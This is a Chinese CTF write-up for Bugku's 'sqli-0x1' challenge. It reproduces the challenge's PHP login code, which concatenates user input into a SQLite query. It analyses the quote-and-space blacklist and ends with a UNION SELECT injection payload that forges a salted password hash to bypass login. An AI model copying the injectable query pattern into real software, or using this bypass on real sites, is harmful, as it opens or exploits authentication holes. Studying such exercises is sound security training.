题目概览
题目来源:sqli-0x1 - Bugku CTF
查看网页源码,得到提示:
访问/?pls_help
得到题目源码:
<?php
error_reporting(0);
error_log(0);
require_once("flag.php");
function is_trying_to_hak_me($str)
{
$blacklist = ["' ", " '", '"', "`", " `", "` ", ">", "<"];
if (strpos($str, "'") !== false) {
if (!preg_match("/[0-9a-zA-Z]'[0-9a-zA-Z]/", $str)) {
return true;
}
}
foreach ($blacklist as $token) {
if (strpos($str, $token) !== false) return true;
}
return false;
}
if (isset($_GET["pls_help"])) {
highlight_file(__FILE__);
exit;
}
if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) {
$user = $_POST["user"];
$pass = $_POST["pass"];
if (is_trying_to_hak_me($user)) {
die("why u bully me");
}
$db = new SQLite3("/var/db.sqlite");
$result = $db->query("SELECT * FROM users WHERE username='$user'");
if ($result === false) die("pls dont break me");
else $result = $result->fetchArray();
if ($result) {
$split = explode('$', $result["password"]);
$password_hash = $split[0];
$salt = $split[1];
if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true;
else $err = "Wrong password";
}
else $err = "No such user";
}
代码分析
根据得到的源码,显然在$user
处存在SQL注入:
$result = $db->query("SELECT * FROM users WHERE username='$user'");
但是在执行SQL语句前,程序进行了一系列过滤,下面逐个进行分析。
在接收到参数user
之后,调用了is_trying_to_hak_me()
来对参数进行检查过滤,进入到is_trying_to_hak_me()
内部进行分析;
看了好一会,发现这个过滤有点不知所云,最终只需要保证传入的user
参数里含有单引号和数字或字母即可。
黑名单内过滤的是单引号连着空格,即"' ", " '",
,单独一个单引号"'"
并未被过滤。
通过这个过滤之后,再往下看:
if ($result === false)
这里需要保证查询的结果是存在的,即$db->query
返回值必须为真。
获取到结果之后,接着就进行登录是否成功的判定:
if ($result) {
$split = explode('$', $result["password"]); // 将记录的password字段按照$进行分割
$password_hash = $split[0]; // password的第一部分是hash值
$salt = $split[1]; // password的第二部分是salt值
// 如果传入的pass参数拼接上salt值,做一次sha256运算之后的结果与hash值相同,则登录成功
if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true;
else $err = "Wrong password";
}
根据代码的逻辑,应该想到,在不知道password的情况下,想要登录成功,就只能想办法控制密码查询的结果, 使得构造的密码覆盖掉原有的密码查询结果,从而获得登录状态。
解题方法
这里可以考虑通过联合查询注入,将构造出的密码覆盖至正常的查询语句中,进而通过程序的校验。具体实现如下:
生成密码哈希
根据代码中的生成逻辑,哈希值 = sha256(密码明文 + 盐值)
,所以使用PHP按照这个方法生成一个明文为a
,盐值为b
的哈希:
<?php
$pass = 'a';
$salt = 'b';
var_dump(hash('sha256', $pass.$salt));
得到哈希值:fb8e20fc2e4c3f248c60c39bd652f3c1347298bb977b8b4d5903b85055620603
然后按照代码中的拼接方式,构造出password记录:
fb8e20fc2e4c3f248c60c39bd652f3c1347298bb977b8b4d5903b85055620603$b
接着就可以通过联合查询注入,获取登录状态了:查询一个不存在的用户,然后通过union select
注入。
Payload:
user=1'union/**/select/**/1,'fb8e20fc2e4c3f248c60c39bd652f3c1347298bb977b8b4d5903b85055620603$b&pass=a